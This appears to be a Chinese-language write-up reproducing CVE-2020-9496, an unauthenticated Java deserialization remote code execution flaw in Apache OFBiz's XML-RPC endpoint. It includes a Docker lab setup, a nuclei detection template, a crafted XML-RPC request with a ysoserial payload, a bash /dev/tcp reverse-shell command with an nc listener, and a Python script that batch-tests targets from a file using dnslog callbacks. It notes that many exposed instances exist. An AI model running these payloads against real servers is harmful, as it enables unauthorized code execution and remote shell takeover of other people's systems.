Apache Ofbiz XML-RPC反序列化漏洞(CVE-2020-9496)
Apache Ofbiz介绍
OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。
漏洞概述
Apache ofbiz 存在反序列化漏洞,攻击者 通过 访问未授权接口,构造特定的xmlrpc http请求,可以造成远程代码执行的影响。
漏洞影响版本
ApacheOfbiz:<17.12.04
环境搭建
本次环境使用vulhub搭建
dockerpull andyjunghans/ofbizdocker run -p 8080:8080 -p8443:8443 andyjunghans/ofbiz
访问ip:8080/webtools/control/xmlrpc即可看到入口点
漏洞复现
Poc
id: CVE-2020-9496info:name: Apache OFBiz XML-RPC Java Deserializationauthor: dwisiswant0severity: medium# This temaplte detects a Java deserialization vulnerability in Apache# OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for# versions prior to 17.12.04.# --# References:# - https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbizrequests:- raw:- |POST /webtools/control/xmlrpc HTTP/1.1Host: {{Hostname}}Content-Type: application/xml<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>matchers-condition: andmatchers:- type: wordwords:- "faultString"- "No such service [ProjectDiscovery]"- "methodResponse"condition: andpart: body- type: wordwords:- "Content-Type: text/xml"part: header- type: statusstatus:- 200
根据这个yaml,可以了解到,当post一个xml的poc过去后,如果返回包里同时存在
faultString,No such service [ProjectDiscovery],methodResponse证明有漏洞存在。
代码执行
Burp抓包,把数据包替换成以下数据包
POST /webtools/control/xmlrpc HTTP/1.1Host: 192.168.240.141:8443Content-Type: application/xmlContent-Length: 4125<methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">payload</serializable></value></member></struct></value></param></params></methodCall>
使用使用ysoserial的CommonsBeanutils1来生成Payload在tmp目录写入文件(无回显)
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d '\n'
复制base64编码得payload,粘贴到burp数据包中base64payload的地方,点击发送,可以进docker中查看是否写入成功
进入容器查看成功写入
docker exec -it 容器id /bin/bash
反弹shell
去以下网址把反弹shellpayload进行base64编码
http://www.jackson-t.ca/runtime-exec-payloads.html
bash反弹命令:bash-i >& /dev/tcp/ip/port 0>&1
把编码后的shell在使用ysoserial工具进行一次base64编码
java -jar ysoserial.jar CommonsBeanutils1 "base64-payload" | base64 | tr -d '\n'
nc设置监听,把生成的exp放入到burp的数据包中发送,查看nc监听以返回shell
通过搜索引擎发现资产还是很多的
检测脚本
无回显通过dnslog进行检测验证
import sysimport argparseimport subprocessimport requestsfrom time import sleepimport base64from requests.packages.urllib3.exceptions import InsecureRequestWarningdef title():print('+-------------------+')print('| author:lemonlove7 |')print('| use:python poc.py |')print('+-------------------+')def dnslog():global dns_sessiondns_session = requests.session()dns = dns_session.get('http://www.dnslog.cn/getdomain.php')return dns.textdef dnslog_res():dns_res = dns_session.get('http://www.dnslog.cn/getrecords.php')if dns_res.json():return Trueelse:return Falsedef CVE_2020_9496(target_url):requests.packages.urllib3.disable_warnings(InsecureRequestWarning)headers = {'Content-Type': 'application/xml'}# popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', "CommonsBeanutils1", 'ping '+dnslog()], stdout=subprocess.PIPE)popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', "URLDNS", 'http://'+dnslog()], stdout=subprocess.PIPE)data = base64.b64encode(popen.stdout.read())post_data = f'''<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">{str(data, 'utf-8')}</serializable></value></member></struct></value></param></params></methodCall>'''if target_url.startswith('https://'):vuln_url = target_url + "/webtools/control/xmlrpc"else:vuln_url = 'https://' + target_url + "/webtools/control/xmlrpc"try:r = requests.post(vuln_url, data=post_data, headers=headers, verify=False, timeout=5)if r.status_code == 200:sleep(2)if dnslog_res():print(f'[+] {target_url} dnslog验证成功,漏洞存在')return Trueelse:print(f'[x] {target_url} 利用失败')except Exception:print(f"[x] {target_url} poc请求失败 ")if __name__ == '__main__':if len(sys.argv) == 1:title()sys.exit()parser = argparse.ArgumentParser(description='''CVE-2020-9496 help''')parser.add_argument('-u', '--url', help='请输入url', default='')parser.add_argument('-f', '--file', help='请输入file', default='')args = parser.parse_args()url = args.urlfile = args.fileif url != '':target_url=urlif target_url:CVE_2020_9496(target_url)if file !='':f = open(file,'r')for i in f.readlines():url=i.strip()if url:CVE_2020_9496(url)
